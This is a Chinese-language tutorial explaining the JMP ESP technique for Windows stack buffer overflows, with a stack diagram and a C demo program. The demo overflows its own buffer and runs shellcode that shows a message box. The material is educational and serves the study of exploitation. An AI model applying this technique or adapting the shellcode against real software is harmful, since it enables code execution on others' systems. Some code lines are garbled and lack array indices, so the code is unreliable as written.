另一种溢出方式 JMP ESP另一种溢出方式 JMP ESP
信息来源:openlab.nwpu.edu.cn
以上的溢出都是靠猜测buffer地址范围来进行(当然也可以写程序不断猜测)
自己写的程序当然地址很容易确定,但若攻击别人的程序就不大方便了
往往要猜很多此,传统的程序猜测地址同buffer长度相关,同test()中的数据定义相关
,同调用test() 的函数相关 . . . . . 要猜测的范围就比较大!!!!! 一般不易猜中!
当然你用soft_ice跟踪到test( )记录栈情况也是可行.
我们可以用另一种只用猜测buffer长度即可的方法实现溢出后执行我们的机器码!
在操作系统核心如kernell32.dll 等系统调用中有jmpl esp指令 如在win95中0xc1049a17
地址处就有一条这样的指令!!! 打开soft_ice查找一下能查到很多!
那么如果知道buffer长度 buff_len 那么我们在 buff_len+8范围内放入 0xc1049a17
ret就被覆盖了然后在上部放入我们的binnar code,那么test( )返回时机器码将被执行
此时仅需知道buffer长度即可
栈覆盖前
---------------------->
|? ? ? ? ? | ret | ebp | buffer |
覆盖后
|binnar code| 0xc1049a17 | 0xc1049a1 | 0xc1049a1 . . .. . . . .. . |
|
|
-------------> jmp esp
^
|
esp
test( )
返回时返回到 0xc1049a1 处 执行了 jmpl esp 而此时esp指向我们的binnar code
如下程序是一个演示 编译参数 cl ex_jesp.c /link user32.lib
shellcode 部分机器码 为: 弹出一个消息窗显示 From Binnar Code. 后调用ExitProcess()
#include <windows.h>
#include <stdio.h>
char shellcode[108]=
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xb8 ,0xe8 ,0x03 ,0x2b ,0xe0 ,
0x33 ,0xDB ,0xB3 ,0x0C ,0x4b ,0x4b ,
0x33 ,0xC0 ,0x88 ,0x04 ,0x2b ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68,
0xF3 ,0x75 ,0xF7 ,0xBF ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53,
0x8B ,0xC5 ,0x83 ,0xC0 ,0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68,
0x91 ,0xB1 ,0xF8 ,0xBF ,0x68 ,0xD9 ,0x38 ,0xF6 ,0xBF ,0xC3 ,0xE8 ,0xbe,
0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
//unsigned long * p;
void test()
{
char buffer[256];
for(i=0;buff!='\n';buffer=buff[i++]);
MessageBox(0,"Test Return ","Test",0);
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
unsigned long addr = 0xc1049a17;
int addr_len = 264;
lp = (unsigned long *)buff;
for(i=0;i<addr_len/4; i++,lp++)
{
* lp = addr;
}
cp = (char *)lp;
for(i=0;i<sizeof(buff) - sizeof(shellcode) - addr_len/4 -1 ;i++,cp ++ )
{
*cp = 0x90;
}
for(i=0;i<sizeof(shellcode);i++,cp++)
{
*cp = shellcode;
}
*cp = '\n';
test();
MessageBox(0,"WinMain Return.","WinMain",0);
return 0;
}